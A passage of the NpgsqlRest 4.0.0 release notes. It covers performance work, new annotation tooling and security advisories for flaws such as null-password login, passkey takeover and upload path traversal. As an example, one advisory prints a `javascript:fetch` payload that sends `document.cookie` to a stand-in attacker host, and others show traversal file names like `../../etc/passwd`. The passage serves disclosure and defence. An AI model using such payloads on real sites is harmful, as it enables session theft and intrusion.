bytes +JsonValueFormatter.FormatValue(scratch.AsSpan(0, length), isNull, descriptor, rowBuilder); // escapes and converts on bytes +// ... +writer.Write(rowBuilder.WrittenSpan); // already UTF-8 +``` + +A 100-row response used to create about 1,500 short-lived strings. Together with change 3, this took what such a request allocates from 146 KB to 6 KB (without the benchmark client's own copy of the response). + +**2. Rows leave in pieces of 16 KB, not every 25 rows.** + +```csharp +// 3.21.0: a network write and an HTTP chunk every 25 rows +if (rowCount % bufferRows == 0) +{ + WriteStringBuilderToWriter(rowBuilder, writer); + await writer.FlushAsync(cancellationToken); +} + +// 4.0.0: checked every 25 rows, sent once 16 KB is collected (ResponseBufferBytes), and at the end +if (rowCount % bufferRows == 0 && rowBuilder.Length >= responseBufferBytes) +{ + writer.Write(rowBuilder.WrittenSpan); + await writer.FlushAsync(cancellationToken); + rowBuilder.Clear(); +} +``` + +A 15 KB response went out in five pieces; it now goes out in one. That alone is about a tenth of the CPU of a 100-row request. + +**3. One request state, reused, and small async methods around it.** + +```csharp +// 3.21.0: one async method of about 3,400 lines. Dozens of locals stayed alive across every await, +// and in JIT deployments the method was too large for the JIT to optimize at all. +public async Task InvokeAsync(HttpContext context, ...) { /* bind, context, upload, execute, render */ } + +// 4.0.0: what a request needs lives in one object taken from a pool, and the request is a sequence of stages +var s = RequestState.Rent(); +try +{ + if (await BeginRequestAsync(s) is false || await PrepareParametersAsync(s) is false) return; + await SetRequestContextAsync(s); + // ... + await RenderRecordsAsync(s); // one render method per kind of result +} +finally +{ + await CompleteRequestAsync(s); + RequestState.Return(s); +} +``` + +Each stage is a small method that keeps almost nothing alive while it waits for the database. NpgsqlRest's own allocations for a small request went from 2.59 KB to 0.30 KB. + +**4. The request context goes to PostgreSQL together with the routine.** + +```csharp +// 3.21.0: two round trips for every request with user_context +await using var context = new NpgsqlBatch(connection); +context.BatchCommands.Add(new NpgsqlBatchCommand("select set_config($1,$2,false)")); // one per setting +await context.ExecuteNonQueryAsync(); // round trip 1 +await using var reader = await command.ExecuteReaderAsync(); // round trip 2: the routine + +// 4.0.0: one batch, one round trip, and the settings are local to its transaction +var batch = new NpgsqlBatch(connection); +batch.BatchCommands.Add(new NpgsqlBatchCommand("select set_config($1,$2,true) is null,set_config($3,$4,true) is null")); +batch.BatchCommands.Add(new NpgsqlBatchCommand("select public.my_function($1)")); // the routine, unchanged +await using var reader = await batch.ExecuteReaderAsync(); +await reader.NextResultAsync(); // past the context statement, to the routine's rows +``` + +A text value from an endpoint with `user_context` went from 335 µs to 217 µs, and from 21,070 to 35,704 requests per second (JIT). Because nothing stays on the connection, it also does not have to be reset afterwards; the reset rule and its code are under [Connections are reset only when needed](#connections-are-reset-only-when-needed). + +The complete list follows. + +#### What changed + +- **Rows are written as UTF-8 from start to end.** PostgreSQL sends every value as UTF-8 text, and the response is UTF-8. NpgsqlRest used to turn every value into a .NET string (UTF-16), build each row in a string builder, and encode the result back to UTF-8; a 100-row response created about 1,500 short-lived strings on the way. Rows are now built as bytes: a value's bytes are taken straight from the database reader and written with the JSON punctuation around them, and escaping, arrays, date/time values and booleans are converted on the bytes. The output is the same byte for byte; the tests compare the new converters with the old ones for every character and for arrays of every shape. This covers functions, tables, views and SQL files (single and multi-statement), JSON and raw/CSV output. A value still passes through a string where it has to: decryption (`decrypt`), composite types, table formats, and connections whose client encoding is not UTF-8. +- **A single value is no longer copied through a string.** A function returning one `json` or `text` value had that value read as a string and encoded back: a 119 KB JSON document became a 239 KB string, encoded through a buffer sized for three times its length. The bytes now go from the reader into a pooled buffer and from there into the response. As before, the value is read completely and the query finished before anything is sent, so an error that PostgreSQL reports late still reaches the client as an error. +- **Fewer, larger network writes.** See [Rows are sent in larger pieces](#rows-are-sent-in-larger-pieces) below. This alone is about a tenth of the CPU of a 100-row request. +- **One request state and small async methods.** A request used to run through a few very large async methods with dozens of local variables. All of them stayed alive, in objects allocated or pooled per request, while the request waited for the database. Everything a request needs now lives in one object that is reused across requests, and the request runs as a sequence of small stages (connect and bind parameters, prepare the command, proxy, request context, upload, execute and render, with one method per kind of result). This is what brought NpgsqlRest's own allocations down to 0.3 KB per request, and it is what made Runtime Async safe to turn on (see [.NET 11](#net-11)). +- **JIT deployments: the request handler is now compiled with full optimizations.** Every request ran through one ~3,400-line async method, too large for the .NET JIT to optimize at run time (over 2,000 basic blocks), so the JIT left it unoptimized for the life of the process. That affected every JIT deployment; the native AOT executable never had this problem, which is why its response times improve less than the JIT's. No request method is that large any more, and each reaches the JIT's optimized tier. +- **The string builder pool never reused the most recently returned builder.** NpgsqlRest pools the `StringBuilder`s it uses, but an off-by-one in the pool meant most requests got new builders. +- **The first database attempt is made by the request itself.** Command retries used to wrap every execution in a retry method, one more async method waiting on the database with every request, with a list for exceptions allocated up front. The request now makes the first attempt, and the retry logic takes over only when it fails. What happens on a failure (error code mapping, retries and their delays, logging) is unchanged. +- **No DI scope per request.** The request handler declared an `IServiceProvider` parameter, so ASP.NET Core created and disposed a dependency-injection scope for every request. The provider is now taken from the request only in `ServiceProviderMode`. +- **Endpoints call the handler directly.** ASP.NET Core's generated route handler added one more async method to every request. An endpoint without endpoint filters now calls NpgsqlRest's handler directly; filters added through `RouteHandlerCreated` run as before. The handler is still bound at compile time by the Request Delegate Generator, so native AOT builds have no new warnings and the same size. +- **Responses are written straight to the response pipe** (`Response.BodyWriter`) instead of through an extra writer wrapped around the response stream, which saves one more copy of every byte. Response compression and `proxy_out` work as before. + +For library users: `NpgsqlRestEndpoint.InvokeAsync` keeps its public signature (its `IServiceProvider` parameter is now nullable, and when null it is taken from the request). `NpgsqlRestOptions` has one new option, `ResponseBufferBytes`, and one new read-only property, `ConnectionResetRequired`. + +#### Rows are sent in larger pieces + +Rows used to be sent to the client every 25 rows (`BufferRows`, or the `buffer_rows` annotation). Each of those is a separate network write and HTTP chunk, so a 15 KB response went out in five pieces. Rows are now sent once at least **16 KB** is collected (checked every `BufferRows` rows) and at the end. Two things are visible from outside: + +- **A response smaller than 16 KB arrives in one piece, when the query has finished.** For ordinary endpoints nothing changes except that it is faster. An endpoint that is meant to send rows as they are produced (a slow query whose first rows should show up early) needs `buffer_rows 0`, which sends every row immediately, as before. +- **A query that fails part-way now gives the client an error response**, as long as nothing was sent yet. It used to answer `200` with the first rows and cut-off JSON. + +`buffer_rows 1` still buffers the whole response, at any size. In the library, the threshold is `NpgsqlRestOptions.ResponseBufferBytes`; `0` sends after every `BufferRows` rows regardless of size, which is the previous behavior. + +--- + +### Annotations for tools: a complete reference, and what each endpoint read + +Editors and other tools that work with NpgsqlRest need to know two things without guessing: which annotations exist, and what NpgsqlRest made of a particular comment. Both are now answered by the `npgsqlrest` executable, as JSON. + +#### `npgsqlrest --annotations` lists everything that is read + +The reference used to cover the core annotations only (58 entries). Custom parameters (`key = value`) were one generic entry, so nothing listed the keys the TypeScript client, the upload handlers or the table formats read. It now has 125 entries, from core and from every plugin and handler the client ships, whether the configuration enables them or not: + +| Owner | What | +|---|---| +| `core` | the endpoint annotations, now including `sse_publish`, `sse_subscribe` and `table_format` | +| `upload`, `upload:large_object`, `upload:file_system`, `upload:csv`, `upload:excel` | the upload handlers' parameters, each also under its handler-prefixed name (`csv_delimiters`) | +| `table_format:excel` | `excel_file_name`, `excel_sheet` | +| `tsclient`, `dartclient` | the client generators' parameters | +| `mcp`, `openapi` | `mcp`, `mcp_name`, `mcp_description`, `openapi` | +| `test` | what a SQL test file may say: `@setup`, `@teardown`, `@connection`, `@tag`, includes, request blocks, `@claim`, `@response` | +| `http_type` | what the comment of an HTTP Custom Type may say: the request line, headers, `timeout`, `retry_delay`, `cache` | + +Each entry keeps `name`, `aliases`, `syntax` and `description`, and adds: + +```json +{ + "name": "timeout", + "aliases": ["command_timeout", "timeout"], + "syntax": "timeout ", + "description": "Set command execution timeout (PostgreSQL interval format).", + "owner": "core", + "form": "keyword_or_key_value", + "contexts": ["routine", "sql_file"], + "valueKind": "interval", + "example": "timeout 30s" +} +``` + +- `owner`: who reads it. +- `form`: how it is written. `keyword` (`authorize admin`), `key_value` (`tsclient_module = users`), `keyword_or_key_value` (both work), or `line` (a line with a shape of its own, such as a response header). +- `contexts`: where it is read. `routine` (a routine's comment), `sql_file`, `sql_file_statement` (positional, for one statement of a SQL file), `test_file`, `type_comment`. +- `valueKind`: `none`, `boolean`, `integer`, `text`, `enum`, `interval`, `sql`, `list`, `path` or `name`; `values` lists the choices of an `enum`. +- `default` and `example`, where they can be given in a line. + +One correction: the entry `resultN` described a syntax that does not exist (`@result1 validate`). The annotation is `result `, and the entry now says so. + +#### `npgsqlrest --endpoints` says where an endpoint comes from and what its comment did + +Each endpoint in the output gains: + +- `routine.sourceFile`: the file of a SQL file endpoint. +- `annotations`: the comment lines that were read as annotations, as written. +- `commentLines`: the lines that are prose. This is what OpenAPI and MCP use as the description. +- `unknownAnnotations`: lines written as annotations (`@name ...`) that nothing reads. +- `unknownCustomParameters`: `key = value` keys that nothing reads, written with or without the `@`. +- `diagnostics`: the warnings and errors logged about this endpoint while its comment was parsed, so they no longer have to be found in the log. + +```json +{ + "method": "GET", + "path": "/api/hello", + "annotations": ["HTTP GET", "@authorize", "@tsclinet_module = people", "@timeout = 10s"], + "commentLines": ["Greets a person by name."], + "unknownAnnotations": ["@tsclinet_module = people", "@color blue"], + "diagnostics": ["Function public.hello mapped to GET /api/hello: \"@tsclinet_module = people\" - nothing reads a custom parameter named tsclinet_module. Check the spelling (npgsqlrest --annotations lists what is read)."], + "customParameters": { "tsclinet_module": "people" }, + "unknownCustomParameters": ["tsclinet_module"] +} +``` + +#### Unknown `@` lines: not published, and a misspelt key is said + +Two things change in how a comment is read. Both concern only lines that begin with `@`; a line without it is treated exactly as before. + +- **A line that begins with `@` and is no annotation is no longer part of the description.** NpgsqlRest treated every line it did not recognise as prose, and OpenAPI and MCP publish the prose as the endpoint's description. So `@color blue` (another tool's annotation) or `@authorise` (a typo) ended up in the published API document. Such lines are now kept apart. +- **`@key = value` with a key that nothing reads logs a warning at startup.** Any `key = value` line is stored as a custom parameter, so `@tsclinet_module = users` was accepted in silence and did nothing. It is still stored, and now said: `"@tsclinet_module = users" - nothing reads a custom parameter named tsclinet_module.` A key your own application reads from `CustomParameters` is reported too when written with `@`; write it without, or register it (below). + +A plugin's annotation is known even when the plugin is disabled, so `@mcp_name orders` with MCP turned off is neither published nor reported. + +#### For library users and plugin authors + +- `IEndpointCreateHandler` has a new optional member, `CommentAnnotation[] Annotations`, where a plugin describes what it reads. `UseNpgsqlRest` registers it; `CommentAnnotations.Register(...)` does the same for anything else (your own custom parameter keys, or a plugin that is not enabled in this process). `CommentAnnotations.All`, `IsKnown` and `ToJson()` give the reference. +- `RoutineEndpoint` has three new properties: `AnnotationLines`, `UnknownAnnotationLines` and `Diagnostics`. `Routine.SourceFile` is set by the SQL file source. +- `RoutineEndpoint.CustomParameters` is now created with a case-insensitive key comparer, and `Ext.TryParseSwitch` reads a switch value the way annotations write it. +- An internal call (`InternalRequestHandler`: HTTP Custom Type self-calls, proxy self-calls, MCP tool calls) now passes its cancellation token to the called endpoint as `HttpContext.RequestAborted`, and a cancelled call throws `OperationCanceledException` instead of answering 500. +- **Lines that begin with `@` are no longer in `RoutineEndpoint.UnhandledCommentLines`.** A plugin that picked its own `@annotations` out of that list has to claim them in `HandleCommentLine` (available since 3.17.0), or read `UnknownAnnotationLines`. + +--- + +### Security fixes + +The full review found the issues below; all are fixed in this release. Each entry explains which applications are affected, what was wrong, what changed and, where needed, what to check. Ordered by severity. + +| Severity | Fix | Breaking | +|---|---|:---:| +| Critical | [Login no longer succeeds without a verified password](#login-no-longer-succeeds-without-a-verified-password) | | +| High | [Passkeys: a signed-in user could add their passkey to someone else's account](#passkeys-a-signed-in-user-could-add-their-passkey-to-someone-elses-account) | | +| High | [A request could run as the previous user (`user_context` on pooled connections)](#a-request-could-run-as-the-previous-user-user_context-on-pooled-connections) | | +| High | [Anonymous callers can no longer fill user parameters (`user_params`)](#breaking-anonymous-callers-can-no-longer-fill-user-parameters-user_params) | yes | +| High | [File uploads could be written outside the upload directory](#file-uploads-could-be-written-outside-the-upload-directory) | | +| High | [External login: `return_to` could run script or redirect to another site](#external-login-return_to-could-run-script-or-redirect-to-another-site) | | +| High | [A large stored value could crash the whole server](#a-large-stored-value-could-crash-the-whole-server) | | +| Medium | [The client IP address is no longer taken from request headers](#breaking-the-client-ip-address-is-no-longer-taken-from-request-headers) | yes | +| Medium | [`Antiforgery:Enabled` now actually protects API endpoints](#breaking-antiforgeryenabled-now-actually-protects-api-endpoints) | yes | +| Medium | [JWT: a refresh token was accepted as an access token](#jwt-a-refresh-token-was-accepted-as-an-access-token) | | +| Medium | [Bearer-token refresh issued tokens for the wrong user](#bearer-token-refresh-issued-tokens-for-the-wrong-user) | | +| Medium | [External login: another site could sign a user into the attacker's account](#external-login-another-site-could-sign-a-user-into-the-attackers-account) | | +| Medium | [External login: unverified email addresses are rejected](#external-login-unverified-email-addresses-are-rejected) | | +| Medium | [`authorize` values are roles; users need `user:` or `id:`](#breaking-authorize-values-are-roles-users-need-user-or-id) | yes | +| Medium | [Basic Auth on overloaded routines applied to the wrong overload](#basic-auth-on-overloaded-routines-applied-to-the-wrong-overload) | | +| Medium | [The reverse proxy no longer forwards credentials or client-chosen identity](#breaking-the-reverse-proxy-no-longer-forwards-credentials-or-client-chosen-identity) | yes | +| Medium | [Response cache: different requests (and different users) could share a cached response](#response-cache-different-requests-and-different-users-could-share-a-cached-response) | | +| Medium | [Memory cache: callers could grow server memory without limit](#memory-cache-callers-could-grow-server-memory-without-limit) | | +| Medium | [HTTP Custom Types encode request values in the URL, and calls time out after 30 seconds by default](#breaking-http-custom-types-encode-request-values-in-the-url-and-calls-time-out-after-30-seconds-by-default) | yes | +| Medium | [Server-Sent Events: forged events, and unbounded memory for idle subscribers](#server-sent-events-forged-events-and-unbounded-memory-for-idle-subscribers) | | +| Medium | [Validation: a crafted value could keep the server busy for minutes](#validation-a-crafted-value-could-keep-the-server-busy-for-minutes) | | +| Medium | [Enum and domain columns: invalid JSON and JSON injection](#enum-and-domain-columns-invalid-json-and-json-injection) | | +| Medium | [Static files: protected pages reachable through path variants, `.git` served, unbounded memory](#static-files-protected-pages-reachable-through-path-variants-git-served-unbounded-memory) | | +| Medium | [Claim values in parsed static HTML could inject script](#claim-values-in-parsed-static-html-could-inject-script) | | +| Low | [A wrong password now answers like an unknown user (401)](#breaking-a-wrong-password-now-answers-like-an-unknown-user-401) | yes | +| Low | [Authorization is now checked before the request is processed](#authorization-is-now-checked-before-the-request-is-processed) | | +| Low | [Infrastructure error details are no longer returned to clients](#infrastructure-error-details-are-no-longer-returned-to-clients) | | +| Low | [MCP: the DNS-rebinding check could be bypassed](#mcp-the-dns-rebinding-check-could-be-bypassed) | | +| Low | [OpenAPI published the routines' annotations, including credentials](#openapi-published-the-routines-annotations-including-credentials) | | +| Low | [Passwords and request bodies in logs](#passwords-and-request-bodies-in-logs) | | +| Low | [`SerializeAuthEndpointsResponse` returned the password hash](#serializeauthendpointsresponse-returned-the-password-hash) | | +| Low | [No placeholder substitution in upload `row_command`](#breaking-no-placeholder-substitution-in-upload-row_command) | yes | +| Low | [Excel downloads: a request value could rename the downloaded file](#excel-downloads-a-request-value-could-rename-the-downloaded-file) | | +| Low | [Generated TypeScript and Dart clients: routine comments could break out of doc comments](#generated-typescript-and-dart-clients-routine-comments-could-break-out-of-doc-comments) | | +| Low | [`--install-skill` no longer writes through symbolic links](#--install-skill-no-longer-writes-through-symbolic-links) | | +| Low | [New startup warnings for risky configurations](#new-startup-warnings-for-risky-configurations) | | + +#### Login no longer succeeds without a verified password + +**Severity: Critical.** Applies to endpoints marked with the `login` annotation whose function returns the password hash column (`hash` by default, set by `NpgsqlRest:AuthenticationOptions:HashColumnName`). This is the documented password-login pattern. + +**What was wrong.** With this pattern, the login function returns the user's stored password hash, and NpgsqlRest checks the submitted password against it. But the check was silently **skipped**, and the user **signed in**, whenever: + +- the client sent the password as JSON `null` (for example `{"username": "admin", "password": null}`); +- the password parameter has a default value in the function and the client left it out; +- the stored hash for that user is `NULL`, for example an account created through external login or passkeys that has no password; +- no function parameter name contains the configured text (`PasswordParameterNameContains`, default `"pass"`), so NpgsqlRest could not tell which parameter holds the password. Only a log warning was written; +- `PasswordHasher` was set to `null`. + +In practice, anyone who knew a username could log in as that user, including administrators, by sending a null password. + +**What changed.** When the login result contains the hash column, the password check is now mandatory. Each case above fails the login exactly like a wrong password: HTTP `404`, the configured `PasswordVerificationFailedCommand` runs (so failed-login tracking and lockouts see the attempt), and no one is signed in. + +**What to check.** Correct applications are not affected: a valid username and password still logs in. If you have accounts without a password (a `NULL` hash) that previously logged in through this endpoint, that only worked because of this bug. Those accounts now need a password, or must use their external login or passkey. + +#### Passkeys: a signed-in user could add their passkey to someone else's account + +**Severity: High.** Applies to the `npgsqlrest` client with passkey authentication enabled (`Auth:PasskeyAuth:Enabled`). + +**What was wrong.** Adding a passkey takes two requests. The "options" request returns a `userContext` object that the database produced (it identifies the account), and the browser sends that object back with the completion request. The server passed whatever came back straight to `CompleteAddExistingUserCommand` without checking it. The documented example SQL reads the target account from it (`_user_context->>'id'`), so a signed-in user could change the id and attach their own passkey to another account, such as an administrator's, then sign in as that user. New-user registration (`CompleteRegistrationCommand`) had the same weakness: the client could change any registration data in `userContext`. + +**What changed.** The server now adds a sealed copy of the `userContext` it issues, in a `_protected` property, encrypted and signed with ASP.NET Core Data Protection. The seal is tied to the challenge. When a passkey is added to an existing account, it is also tied to the signed-in user. The completion endpoints reject a missing or invalid seal with `400 invalid_request` ("Invalid user context"), and the SQL command always receives the server's own copy, never the client's. + +**What to check.** +- Frontends that send `userContext` back unchanged, as the documented examples do, keep working. +- A frontend that builds or edits `userContext` itself is rejected; send back exactly what the options endpoint returned. +- When running several instances, configure shared Data Protection keys (the `DataProtection` section). Without them, a challenge started on one instance cannot be completed on another, just like cookie authentication. + +#### A request could run as the previous user (`user_context` on pooled connections) + +**Severity: High.** Applies to endpoints using the `user_context` annotation, and to SQL that reads `current_setting('request.user_id')` or similar, for example row-level security policies. + +**What was wrong.** `user_context` passes the caller's identity to PostgreSQL as session settings (`request.user_id`, `request.user_name`, `request.user_roles`, and the claims JSON key). Without a transaction, these are **session-level** settings: they stay on the database connection after the request ends. Two things combined into a leak: + +- The `npgsqlrest` client always added `No Reset On Close=true` to the connection string, so Npgsql never cleared session state when a connection went back to the pool. +- For **anonymous** requests, the user keys were not set at all, so they kept whatever value was left on the connection. + +As a result, an anonymous request that reused a connection last used by a signed-in user ran with that user's `request.user_id`, `request.user_name` and roles. Endpoints without `user_context` that read these settings (for example through RLS policies) could see the previous caller's identity too. + +**What changed.** +- **For functions, tables, views and single-statement SQL files, the identity no longer stays on the connection at all.** `user_context` and `request_headers context` values are sent to PostgreSQL together with the routine, as settings that are local to that one transaction: the routine sees them, and they are gone when it ends. Nothing is left for a later request to read. This also saves a database round trip per request; see [The request context travels with the routine](#the-request-context-travels-with-the-routine). +- **The other endpoints still use session-level settings, and connections are reset after them.** Procedures, upload, login and logout endpoints and multi-statement SQL files set their context before the routine, at session level, as before. The `npgsqlrest` client no longer forces `No Reset On Close`: when an application has such endpoints (or an upload metadata context key, or `BeforeRoutineCommands`), every connection is reset when it returns to the pool, for all endpoints, which clears all session settings. With `WrapInTransaction` those settings are local to the request's transaction, so nothing needs resetting. `No Reset On Close` in the connection string overrides the rule in both directions. The rule, what the reset costs and what it keeps are described under [Connections are reset only when needed](#connections-are-reset-only-when-needed). +- For anonymous requests, `user_context` endpoints now set every user key, and the claims JSON key if configured, to NULL instead of skipping them. So `user_context` endpoints never see a previous identity, however the context is set. +- At startup, the library warns when the connection string sets `No Reset On Close` while endpoints set `user_context` or `request_headers context` at session level (unless `WrapInTransaction` is on). + +**What to check.** Once a session has used a setting, PostgreSQL returns an **empty string**, not NULL, for it when it is not set. That is the case after a request whose settings were local to it, after a connection reset, and for anonymous requests. If your SQL casts the value, write `nullif(current_setting('request.user_id', true), '')::int` rather than `current_setting('request.user_id', true)::int`. The plain cast fails for anonymous requests on a reused connection. + +#### Breaking: anonymous callers can no longer fill user parameters (`user_params`) + +**Severity: High.** Applies to endpoints using the `user_params` annotation (or `UseUserParameters`) that anonymous users can call, meaning endpoints that do not require authorization. + +**What was wrong.** With `user_params`, parameters such as `_user_id`, `_user_name`, `_user_roles` (configured in `ParameterNameClaimsMapping`) and `_user_claims` are meant to be filled by the server from the signed-in user's claims. Generated TypeScript and Dart clients, OpenAPI documents and MCP tool schemas all leave them out for that reason. For signed-in users the claim always won. For **anonymous** requests, though, the server filled nothing, and a value sent by the client was used as-is. A request such as `GET /api/orders?userId=1` on an endpoint open to anonymous users therefore ran as user 1, and a client could also send a forged `userClaims` JSON. + +**What changed.** For anonymous requests, values the client sends for these parameters (in the query string or the JSON body) are now ignored. The function receives them as "not provided", so its default value is used, or NULL if there is none. + +**What to check.** If an endpoint expected anonymous callers to pass one of these parameters on purpose, that no longer works. Rename the parameter so it is not claim-mapped, or require authentication. + +#### File uploads could be written outside the upload directory + +**Severity: High.** Applies to `upload for file_system` endpoints that keep the original file name (`unique_name = false`) or that build the upload `path` or `file` from request parameters (for example `path = {_path}`). + +**What was wrong.** The upload directory and the file name were joined without any checks: +- The file name the browser sends with the upload can be anything, including `../../app/appsettings.json` or an absolute path. With `unique_name = false`, the file was written there, overwriting any file the server process could write to. +- An upload `path` or `file` built from request values could contain the same thing, even with unique names. + +**What changed.** +- The client's file name is reduced to the bare name, with both `/` and `\` treated as separators: `../../etc/passwd` becomes `passwd`. The values `.` and `..` are refused. +- A `file` value must be a relative path without `..` segments. A `path` value must not contain `..` segments. +- The final location must be inside the upload directory. + +A file that breaks these rules is not written. Its entry in the upload result has `"success": false`, `"status": "InvalidFileName"` and `"filePath": null`, just like files rejected for their type or content. Uploads with normal names are unaffected, and `filePath` is reported in the same form as before. + +#### External login: `return_to` could run script or redirect to another site + +**Severity: High.** Applies to the `npgsqlrest` client with external (OAuth) login enabled (`Auth:External`). + +**What was wrong.** The external sign-in page (for example `/signin-google`) accepts a `return_to` query parameter, whose name is set by `ReturnToPathQueryStringKey`, and sends the browser there after the provider round trip. The value was used without any check: +- A link such as `/signin-google?return_to=javascript:fetch('//evil.example/?c='+document.cookie)` ran attacker-controlled script on your site's origin once the victim finished signing in, or even after they cancelled. +- `return_to=https://evil.example` turned your login page into an open redirect. + +**What changed.** `return_to` must now be a path on the same site, such as `/dashboard?tab=2#top`. Absolute and protocol-relative URLs (`https://…`, `//…`, `/\…`), `javascript:` and other schemes, and values with control characters are ignored, and the user goes to the default page instead. + +**What to check.** If you passed full URLs in `return_to`, pass a path instead. + +#### A large stored value could crash the whole server + +**Severity: High (availability).** Applies to all applications. + +**What was wrong.** When writing certain values into a response, NpgsqlRest built the quoted value in a temporary buffer on the thread's stack, sized by the length of the value: +- every text and date value in CSV-style output (`raw` with `separator`); +- JSON values of types such as `varbit`, ranges, `interval`, `inet`, `geometry`. + +A value of a few hundred thousand characters overflowed the stack. In .NET, a stack overflow cannot be caught: it ends the **entire process**, not just the request. Anyone able to store a long text (a comment, a description, an uploaded document) could take the server down, and it went down again every time that data was requested. + +**What changed.** Only small values (up to 512 characters) still use a stack buffer. Larger values use a pooled heap buffer or are built directly. Responses are the same as before. + +#### Breaking: the client IP address is no longer taken from request headers + +**Severity: Medium.** Applies to anything that uses the client IP: the `IpAddress` rate-limiter partition (including the shipped `login_throttle` policy), the `_ip_address` parameter, the `request.ip_address` context value, `BeforeRoutineCommands` IP values, and passkey/OAuth analytics. + +**What was wrong.** NpgsqlRest determined the client IP by reading the `X-Forwarded-For` header (its left-most entry), then `X-Real-IP`, `HTTP_X_FORWARDED_FOR` and `REMOTE_ADDR`, and used the real connection address only if none was present. Any client can send these headers. By sending a different `X-Forwarded-For` with each request, an attacker landed in a fresh rate-limit bucket every time, which made per-IP limits such as the login brute-force throttle useless. They could also write any IP they liked into audit data. Behind a proxy that appends to `X-Forwarded-For`, the left-most entry is still the one the attacker controls. + +**What changed.** The client IP is now always `HttpContext.Connection.RemoteIpAddress`, the address of the connection itself. + +**What to check: if you run behind a reverse proxy or load balancer,** the connection address is the proxy's address, so without further configuration every user shares one IP. Enable the forwarded headers middleware so the address reported by your proxy is used, ideally naming the proxy: + +```json +{ + "ForwardedHeaders": { + "Enabled": true, + "ForwardLimit": 1, + "KnownProxies": ["10.0.0.5"] + } +} +``` + +With `ForwardLimit: 1`, only the entry added by your own proxy is used, and anything the client put in the header is ignored. Applications that use the NpgsqlRest library directly should call `app.UseForwardedHeaders(...)` with their proxies configured. + +#### Breaking: `Antiforgery:Enabled` now actually protects API endpoints + +**Severity: Medium.** Applies to the `npgsqlrest` client with `Antiforgery:Enabled: true`, and to library users who add antiforgery metadata to NpgsqlRest endpoints themselves. + +**What was wrong.** The setting is documented as "Enable antiforgery token validation for state-changing requests", but no NpgsqlRest endpoint was ever validated: +- ASP.NET Core's antiforgery middleware only checks endpoints that carry antiforgery metadata, and NpgsqlRest endpoints had none. +- Even with the metadata, the middleware does not reject a request with a missing or wrong token. It only records the failure for the endpoint to act on, and NpgsqlRest never looked. + +Enabling the setting produced tokens in parsed static pages, but every POST, PUT, PATCH and DELETE was accepted without one. Cross-site request forgery protection was therefore not in place. + +**What changed.** +- With `Antiforgery:Enabled: true`, every NpgsqlRest endpoint requires an antiforgery token for POST, PUT, PATCH and DELETE. GET is unaffected. +- A request with a missing or invalid token is rejected with `400 Bad Request` ("Invalid or missing antiforgery token.") before anything runs. This check is in the library, so it also covers library users who add `RequireAntiforgeryTokenAttribute` metadata through `RouteHandlerCreated`. + +**What to check.** +- Browser code must send the token, usually in the header named by `Antiforgery:HeaderName` (default `RequestVerificationToken`). Parsed static pages can embed it with the `{antiForgeryToken}` tag. +- Clients that authenticate only with bearer tokens or JWT are not exposed to CSRF, but now also need the token on state-changing requests. If your API serves only such clients, you can leave antiforgery disabled. + +#### JWT: a refresh token was accepted as an access token + +**Severity: Medium.** Applies to the `npgsqlrest` client with JWT authentication (`Auth:JwtAuth`, and `Jwt` entries in `Auth:Schemes`). + +**What was wrong.** Access and refresh tokens are signed with the same key and carry the same issuer and audience. The only difference is a `token_type: refresh` claim, which nothing checked when a token arrived as `Authorization: Bearer`. A refresh token, valid for 7 days by default and meant only for the refresh endpoint, therefore worked as an access token on every API endpoint for its whole lifetime. + +**What changed.** The JWT authentication handler rejects any token with `token_type: refresh`, and the request is treated as unauthenticated (`401`). Refresh tokens keep working at the refresh endpoint, and the access tokens it issues are unaffected. + +#### Bearer-token refresh issued tokens for the wrong user + +**Severity: Medium.** Applies to the `npgsqlrest` client with bearer-token authentication and a refresh path (`Auth:BearerTokenRefreshPath`, or `BearerTokenRefreshPath` in `Auth:Schemes`). + +**What was wrong.** The refresh endpoint only checked that the refresh token had not expired. It then issued new tokens for whoever was **calling** it, meaning the user identified by the access token sent with the request, not the user the refresh token belongs to. As a result: +- Any valid access token, combined with *any* unexpired refresh token (for example the attacker's own), produced fresh tokens for the access token's owner. A stolen, short-lived access token could therefore be renewed indefinitely. +- Refreshing after the access token had expired, which is the normal reason to refresh, failed with `401`. + +**What changed.** New tokens are issued for the user stored inside the refresh token, as ASP.NET Core Identity does. The refresh token is the credential, so no access token is needed. Clients that refresh after the access token has expired now get new tokens instead of a `401`. + +#### External login: another site could sign a user into the attacker's account + +**Severity: Medium.** Applies to the `npgsqlrest` client with external (OAuth) login enabled (`Auth:External`). + +**What was wrong.** The OAuth `state` value protects the login against cross-site request forgery, but it was only compared in the sign-in page's browser script. The server redeemed any authorization `code` posted to the sign-in path. An attacker could start a login with their own Google or GitHub account, keep the code, and make a victim's browser post it from another site. The victim was then signed in to the **attacker's** account, and anything they entered (payment details, documents, messages) went into it. This is known as login CSRF. + +**What changed.** The state is now also checked on the server: +- Starting the sign-in stores it in an HttpOnly, SameSite=Lax cookie, scoped to the sign-in path and valid for 10 minutes. +- When the code is posted, the state echoed by the provider must match that cookie, compared in constant time. The cookie is cleared afterwards. +- A missing or different state is rejected with `400` ("Invalid or expired sign-in state. Please start the sign-in again."), and the code is never sent to the provider. + +The built-in sign-in page already sends the state, so nothing changes for users. A sign-in left open for more than 10 minutes has to be started again. + +#### External login: unverified email addresses are rejected + +**Severity: Medium.** Applies to the `npgsqlrest` client with external (OAuth) login enabled (`Auth:External`). + +**What was wrong.** External login passes the provider's email address to your `LoginCommand` (`$2`), and login functions typically find the user by it. Some providers let an account carry an address its owner never proved they own, and say so with `"email_verified": false`. NpgsqlRest ignored that flag. Someone could register a provider account with a victim's address and sign in to the victim's account. + +**What changed.** +- A login is rejected with `403` when the provider's user info reports the email as unverified (`email_verified` or Google's older `verified_email`, as a boolean or the string `"false"`). The user sees: "The email address of this Google account is not verified. Verify it with Google and sign in again." A warning is logged. +- Providers that only return verified addresses and send no flag (GitHub, Facebook, LinkedIn's email endpoint) are not affected. +- **Microsoft:** its user info has no such flag. The email of a work or school account is a directory attribute that the account's own tenant administrator can set to any address, including yours (the "nOAuth" issue). NpgsqlRest can't verify it, so when Microsoft login is enabled, a startup warning now says so. **Don't identify Microsoft users by email alone.** Use the stable subject id, `sub` in the user info JSON that your `LoginCommand` receives as `$4`, for example `($4::json)->>'sub'`. + +#### Breaking: `authorize` values are roles; users need `user:` or `id:` + +**Severity: Medium.** Applies to the `authorize` annotation with values, `sse_scope authorize ...`, and SSE `RAISE ... USING HINT = 'authorize ...'`. + +**What was wrong.** A value in `authorize admin, editor` matched **three** claims: the role claim, the user **name** claim and the user **id** claim. That is how `authorize john` restricted an endpoint to user `john`. But the roles and the identities shared one namespace: +- If users can choose their own user name, someone who registered as 